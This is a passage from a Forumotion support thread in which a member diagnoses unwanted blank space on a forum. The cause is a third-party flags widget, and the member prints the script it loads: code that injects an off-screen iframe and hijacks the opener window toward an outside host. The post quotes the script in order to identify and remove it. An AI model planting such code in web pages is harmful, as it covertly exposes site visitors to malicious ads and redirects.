<!-- BEGIN html_validation -->
            </li>
         </ul>
      </div>
   </div>
</div>
<!-- END html_validation -->
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by SLGray on December 4th 2016, 11:23 am

Exactly are those 2 templates modified? If not, there would be no need to post them.


When your topic has been solved, ensure you mark the topic solved.
Never post your email in public.

avatar
SLGray
Administrator
Administrator

Male Posts : 40213
Reputation : 2716
Language : English
Location : United States

https://fmthemes.forumotion.com/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by Kyo Panda on December 4th 2016, 1:06 pm

Yup, Mr. @SLGray is right, I should have mentioned that... I ask for your forgiveness. >-<"

---

But, to compensate that, I've found the "injector" for that ad:



That "flags module" is loading a script (100widgets.com/js_data.php?id=142), that loads another script (100widgets.com/stat.js.php) and that script sometimes have the following content:

Code:
var alr = false;
document.body.addEventListener("mousemove", function(event) {
   if (!alr) {
document.addEventListener('error', function(e){}, true);
ifrm = document.createElement('iframe');
ifrm.setAttribute('src', 'http://metrica.yanqex.com/cTwYz6');
ifrm.style.width = 800+'px';
ifrm.style.height = 600+'px';
ifrm.style.border = 0;
ifrm.style.position = 'absolute';
ifrm.style.left = '-1000px';
try {
document.body.appendChild(ifrm);
} catch(e) {
}
if (window.opener) { opener.location = 'http://metrica.yanqex.com/JPFsGZ'; }      alr = true;
   }
});

Which loads the ad.

---

You should remove the flags module, or the script 100widgets.com/js_data.php?id=142 tag in it.
avatar
Kyo Panda
Forumember

Male Posts : 33
Reputation : 19
Language : Portuguese, English
Location : Brazil

http://pt.rpgmaker.io

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 4th 2016, 6:06 pm

Once again, the talent of members on this forum shows again!

Thank you Kyo Panda for taking the time to find out what the problem is.

I've binned the widget.

What widget does forumotion use for their flags, if not the one I've got on my forum?

avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

Page 1 of 2 1, 2  Next

View previous topic View next topic Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum